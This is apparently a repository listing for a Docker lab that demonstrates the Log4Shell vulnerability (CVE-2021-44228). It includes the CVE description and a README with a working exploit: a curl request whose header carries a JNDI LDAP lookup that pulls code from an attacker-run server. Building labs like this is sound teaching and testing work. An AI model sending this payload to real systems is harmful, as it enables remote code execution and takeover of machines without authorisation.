CVE-2021-44228 PoC — Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints

Source

https://github.com/ShlomiRex/log4shell_lab

Associated Vulnerability

Title:Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints (CVE-2021-44228)
Description:Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.

Description

CVE-2021-44228

Readme

# log4shell exploit lab

This repository is a single-line setup for log4shell exploit lab.

Setup the lab: `docker-compose up -d`

Run exploit: `curl -X GET http://localhost:8080/ -H "X-Api-Version: ${jndi:ldap://my_ldap_server:1389/a}"`

Then go to `vul` container and see that indeed we pwned the machine:

![](README-resources/Screenshot%202023-11-30%20205423.png)


* Video explaining the lab setup: https://www.youtube.com/watch?v=WBzR30JcT5g)
* Video explaining the code: https://www.youtube.com/watch?v=oRvp0c-fa1o

File Snapshot

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